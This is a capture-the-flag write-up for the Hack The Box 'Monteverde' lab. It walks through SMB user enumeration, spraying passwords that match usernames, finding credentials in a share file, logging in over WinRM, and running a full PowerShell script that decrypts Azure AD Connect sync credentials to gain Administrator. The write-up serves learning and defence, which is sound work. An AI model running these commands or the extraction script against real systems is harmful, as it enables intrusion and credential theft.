Summary

  • An anonymous SMB connection via nxc exposed a list of usernames. One of these accounts had a password identical to its username, allowing access to view shares using that account.
  • An azure.xml file was found on users$ revealing credentials for the mhope account.
  • mhope was a member of the Azure Admins group, providing access to the Azure AD Connect server.
  • The target server was running Azure AD Connect. Using a known script, credentials for the Admin account were extracted.

Recommendation

Assuming this were a real environment, I would recommend the following.

  • Restrict anonymous SMB connections so that username enumeration is not possible.
  • Periodically audit accounts for cases where the password matches the username.

Enumeration

First of all, let's enumerate open ports using nmap as follows.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.228.111 


ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,) sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.228.111

Ports 135(RPC), 139(Netbios), 445(SMB) are open while 53(DNS), 88(Kerberos) and 389(LDAP) are open. This suggests a Windows machine having an Active Directory domain.
The domain name is revealed as MEGABANK.LOCAL.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.228.111

No interesting UDP ports.

Let's check the domain info.

dig @10.129.228.111 MEGABANK.LOCAL any

A new domain name is revealed monteverde.MEGABANK.LOCAL.

Let's add the mapping between IP and domains.

echo "10.129.228.111 MEGABANK.LOCAL monteverde.MEGABANK.LOCAL" | sudo tee -a /etc/hosts

Since it's a Windows machine having Active Directory domain, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.228.111 -u '' -p '' --shares --users --groups

10 local users are revealed.

Let's make users.txt.

Exploitation 

impacket-GetNPUsers MEGABANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.228.111

Nothing.

Checking whether there is a user using username as password.

nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success

Yes! SABatchJobs:SABatchJobs.

Let's check the SMB using the credential.

nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares --users --groups

azure_uploads and users$ seem interesting.

smbclient //10.129.228.111/azure_uploads -U 'MEGABANK.LOCAL\SABatchJobs%SABatchJobs'

Nothing special.

 smbclient //10.129.228.111/users$  -U 'MEGABANK.LOCAL\SABatchJobs%SABatchJobs'

azure.xml is found in mhope!

New Credential! mhope:4n0therD4y@n0th3r$

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.111 -u 'mhope' -p '4n0therD4y@n0th3r$'; done 


evil-winrm -i 10.129.228.111 -u mhope -p 4n0therD4y@n0th3r$ type C:\Users\mhope\Desktop\user.txt

user.txt pawned!

Privilege Escalation

Let's start with BloodHound.

nxc ldap 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$' --bloodhound --collection All --dns-server 10.129.228.111 && mv ~/.nxc/logs/*bloodhound.zip .


The structure of mhope has Azure Admins which sounds interesting.

The 8th hint of Guide mode provides us this page, https://blog.xpnsec.com/azuread-connect-for-redteam/ .


Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n" $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password)

The 3rd line needs to be changed as follows. This amendment is the same as the following site, https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1?source=post_page-----808ffe5cdded----------------------------------------- .

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=localhost;Initial Catalog=ADSync;Integrated Security=True"

Then, let's run it.

powershell -ExecutionPolicy Bypass -File script.ps1 


evil-winrm -i 10.129.228.111 -u administrator -p d0m@in4dminyeah! type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

  • I couldn’t come up with the fact that password is the same as the username.
  • The Azure AD Connect server may expose credentials for the MSOL account, which can be read by a known script.